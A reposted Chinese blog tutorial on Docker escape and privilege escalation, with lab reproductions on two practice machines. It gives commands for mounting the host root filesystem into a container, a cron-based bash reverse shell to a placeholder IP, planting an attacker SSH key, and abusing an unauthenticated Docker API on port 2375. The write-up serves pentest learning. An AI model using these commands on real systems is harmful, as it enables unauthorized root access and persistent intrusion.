Docker漏洞的记录

15 篇文章 0 订阅

原文链接:https://www.cnblogs.com/peterpan0707007/p/15246853.html
原文链接:https://blog.csdn.net/weixin_46700042/article/details/109532502
侵删

【实战】Docker漏洞的记录]

Docker容器的特点:

1.轻量级
在机器上运行的Docker容器共享该机器的操作系统内核; 他们使用更少的计算和内存。图像由文件系统层构建并共享公用文件。最大限度地减少了磁盘使用量。

2.标准
Docker容器基于开放标准,可在Linux发行版,Microsoft Windows以及任何基础架构(包括虚拟机,裸机)上运行。

3.安全
Docker容器将应用程序彼此隔离并从底层基础架构中分离出来。提供了最强大的默认隔离功能,可以将应用程序问题限制在一个容器中,而不是整个机器上。

关于docker提权(逃逸提权):

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;

用户在创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。

正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作。

普通用户如果要想使用 docker,而且不想给 sudo 权限,那么一般会选择把该用户加入 docker 用户组内,同时在 docker 容器内是具有 root 权限的,这样保证了用户对容器的完全控制;

docker 用户组权限:

sudo groupadd docker
#添加docker用户组

sudo gpasswd -a $USER docker
#将当前用户添加至docker用户组

newgrp docker

docker逃逸提权(复现流程):

1.首先使用命令:docker images
用于查看本地已下载的镜像

REPOSITORY # 镜像仓库
TAG # 镜像标签
IMAGE ID # 镜像ID
CREATED # 镜像创建时间
SIZE # 镜像大小

2.如果不存在,
就可以先下载个镜像,然后把root文件夹挂载到上面!!!

使用命令:docker run alpine chroot 来下载镜像文件;
(不存在docker镜像情况下使用)

3.将root文件夹挂载在上面

docker run -it -v /root:/mnt alpine
将文件夹挂载到mnt文件夹

4.可以看到我们已经拥有了root权限

Docker挂载命令逃逸:

-v /root(需要挂载得目录):/abc(新建挂载目录)
参数 -v 将容器外部的目录 / 挂载到容器内部

因为docker环境运行得时候是需要root权限的,所以可以实现提权的目的;

1.1. Docker判断

cat /proc/1/cgroup

img

ls -alh /.dockerenv

img

1.2. Docker反弹shell

条件:

获取到宿主机普通用户权限

当前用户已加入docker用户组

a) 写入计划任务获取root权限

进入容器:

docker run -it -v /:/mnt alpine

echo ‘* * * * * /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8088 0>&1 2>&1’ >> /mnt/var/spool/cron/root

img

注:此语句适用于centos系统

系统任务调度文件:/etc/crontab

用户 XXX 调度文件:

ubuntu下路径

/var/spool/cron/crontabs/xxx

Alpine下路径

/etc/cron.d/xxx

debian下的路径(xxx可以是任意东西)

/etc/cron.d/xxx

或者

/var/spool/cron/crontabs/xxx

但是写这个路径的时候,文件内不能加用户名

攻击机监听:

img

a) 写入ssh密钥获取root权限

攻击机

ssh-keygen -b 4096 -t rsa

三次回车即可生成

img

Docker容器里:

挂载宿主机根目录进入容器

docker run -it -v /:/mnt alpine

echo ‘生成的.pub文件的内容’ >/mnt/root/.ssh/authorized_keys

img

攻击机连接:

ssh -i /home/pentest/.ssh/id_rsa root@xx.xx.xx.xx

img

1.3. Docker配置不当

Docker api未授权访问

docker -H tcp://10.1.1.71:2375 images

img

挂载目录写入计划任务获取root权限,如下图:

远程挂载命令:docker -H tcp://10.1.1.71:2375 run -it -v /:/mnt alpine

img

攻击机监听:

img

熟悉的node,成功获取k8s集群的一台节点服务器权限。

靶机复现验证:

1. HA: Chakravyuh靶机

靶机渗透测试wp

docker提权:
(-v 可以映射到容器外的host文件的参数)

命令:
docker run -v /root:/mnt -it 965ea09ff2eb /bin/sh
含义:docker运行一个交互式的Linux系统,挂载系统的/root 目录到/mnt目录下,这样就可以获取到root目录下的文件内容了

成功得到root权限,实验成功 !!!

2. CyberSploit: 2靶机

靶机渗透测试wp

我们需要联网拉取镜像

命令: docker pull alpine
alpine是迷你的linux系统
命令: docker images
用于查看本地已下载的镜像
命令: docker run -v /:/mnt -it alpine
执行镜像文件

提权成功!!!

在docker中使用alpine

拉取启动
docker pull alpine
docker run -it --name 【containername】 【imagename】
-i 以交互模式运行容器,通常与 -t 同时使用;
-t 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
-d 后台运行容器,并返回容器ID;
文件传输
从主机复制到容器sudo docker cp host_path containerID:container_path
从容器复制到主机sudo docker cp containerID:container_path host_path
总结:
docker 允许挂载主机的目录,那么挂载 /etc 文件之后就可以任意修改主机配置了;

也就是说,原本应该与主机完全隔离的用户系统,通过挂载,容器直接使用了主机的用户系统;在容器内对用户权限的修改,都等同于在主机上进行修改!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值